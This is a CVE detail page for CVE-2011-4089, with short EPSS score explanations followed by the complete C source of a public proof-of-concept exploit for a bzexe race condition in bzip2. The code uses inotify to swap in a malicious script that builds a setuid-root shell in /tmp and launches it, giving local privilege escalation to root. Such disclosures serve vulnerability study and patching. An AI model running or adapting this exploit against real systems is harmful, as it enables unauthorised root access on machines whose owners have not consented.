CVE-2011-4089 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC Author: vladz (http://vladz.devzero.fr) Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6) This PoC exploits a race condition in the bzexe script. This tool is rarely used so I wasn't supposed to write an exploit. But some people on the full-disclosure list had doubts about this exploitation. Public discussion about this issue started from this post: http://seclists.org/fulldisclosure/2011/Oct/776. I am using Inotify to win the race (on my dual-core, it succeed 100%). Usage: ./bzexe_PoC <command_name> For instance, if "/bin/dd" has already been compressed with bzexe, launch: $ ./bzexe_PoC dd [*] launching attack against "dd" [+] creating evil script (/tmp/evil) [+] creating target directory (/tmp/dd) [+] initialize inotify [+] waiting for root to launch "dd" [+] opening root shell # whoami root */ #define _GNU_SOURCE #include <sys/inotify.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> int create_nasty_shell(char *file) { char *s = "#!/bin/bash\n" "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n"; int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s)); close(fd); return 0; } int main(int argc, char **argv) { int fd, wd; char buf[1], *targetpath, *evilsh = "/tmp/evil", *trash = "/tmp/trash"; if (argc < 2) { printf("usage: %s <cmd name>\n", argv[0]); return 1; } printf("[*] launching attack against \"%s\"\n", argv[1]); printf("[+] creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh); targetpath = malloc(sizeof(argv[1]) + 6); sprintf(targetpath, "/tmp/%s", argv[1]); printf("[+] creating target directory (%s)\n", targetpath); mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO); printf("[+] initialize inotify\n"); fd = inotify_init(); wd = inotify_add_watch(fd, targetpath, IN_CREATE); printf("[+] waiting for root to launch \"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1); syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath); inotify_rm_watch(fd, wd); printf("[+] opening root shell (/tmp/sh)\n"); sleep(2); system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); return 0; }